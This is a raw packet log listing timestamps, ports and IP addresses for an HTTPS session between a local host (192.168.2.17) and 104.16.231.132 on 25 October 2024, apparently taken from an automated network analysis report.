Oct 25, 2024 10:17:26.820612907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820660114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820703983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820719957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820746899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820774078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820812941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820853949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820878029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820904970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.820931911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.820955038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.823954105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824002028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824038982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824050903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824081898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824099064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824275970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824321032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824352026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824362040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824389935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824405909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824736118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824776888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824809074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824820042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824845076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824870110 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.824940920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.824984074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825009108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825018883 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825045109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825062037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825160027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825217009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825247049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825258017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825301886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825301886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825517893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825563908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825592041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825603008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825628996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825653076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825871944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825922012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.825942993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.825953007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826000929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826000929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826078892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826122999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826148987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826159954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826185942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826206923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826492071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826538086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826561928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826571941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826600075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826620102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826895952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826941013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.826977015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.826988935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.827014923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.827037096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.827148914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.827193022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.827218056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.827248096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:27.031357050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:27.031421900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:27.455430984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:27.455497980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.287353039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.287411928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.504863024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.504893064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.504921913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.504976034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.504992008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505029917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505040884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505074978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505088091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505132914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505156994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505173922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505211115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505211115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505225897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505259991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505290031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505326986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505362988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505378962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505398035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505476952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505491018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505542994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505568981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505583048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505606890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505625010 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505667925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505690098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505702019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505731106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505762100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505778074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505791903 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505805016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505841970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505846977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505896091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505929947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505934000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505959988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.505975962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505994081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.505997896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506028891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506041050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506066084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506067038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506105900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506120920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506127119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506160021 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506189108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506211996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506474018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506515026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506534100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506545067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506576061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506592989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506655931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506695986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506726980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506737947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506783009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506803036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506843090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506886959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506908894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506920099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.506953001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.506973028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507023096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507061958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507105112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507116079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507143974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507160902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507200003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507237911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507288933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507298946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507348061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507348061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507431030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507477999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507513046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507524014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507553101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507572889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507641077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507682085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507714987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507725954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507750988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507766962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507812023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507849932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507883072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507893085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.507919073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507947922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.507992029 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508033991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508080006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508096933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508126020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508168936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508212090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508251905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508264065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508291006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508315086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508366108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508408070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508445024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508455038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508481979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508568048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508569956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508590937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508632898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508640051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508676052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508687019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508723021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508771896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508789062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508826017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508863926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508874893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.508900881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508923054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.508975029 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509012938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509051085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509061098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509092093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509121895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509145975 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509187937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509227037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509238005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509268045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509287119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509318113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509356976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509388924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509398937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509426117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509469986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509493113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509531021 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509654045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509665012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509686947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509730101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509735107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509752035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509820938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509881020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509923935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509960890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.509970903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.509998083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510016918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510059118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510098934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510132074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510143042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510170937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510207891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510251999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510292053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510325909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510337114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.510442972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.510518074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511398077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511451960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511466980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511478901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511511087 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511554003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511586905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511606932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511677980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511681080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511701107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511723042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511748075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511761904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511790991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511791945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511814117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511826992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511841059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511877060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511878014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511907101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511915922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511930943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511960983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511960983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.511985064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.511998892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512012959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512046099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512075901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512085915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512100935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512114048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512156010 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512182951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512196064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512201071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512214899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512243032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512264013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512269020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512281895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512327909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512329102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512362957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512377024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512412071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512458086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512479067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512502909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512527943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512564898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512590885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512603045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512629032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512650967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512665987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512684107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512697935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512728930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512729883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512757063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512762070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512773991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.512805939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.512860060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513441086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513501883 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513560057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:28.513571978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:28.513597965 CEST	58442	443	192.168.2.17	104.16.231.132
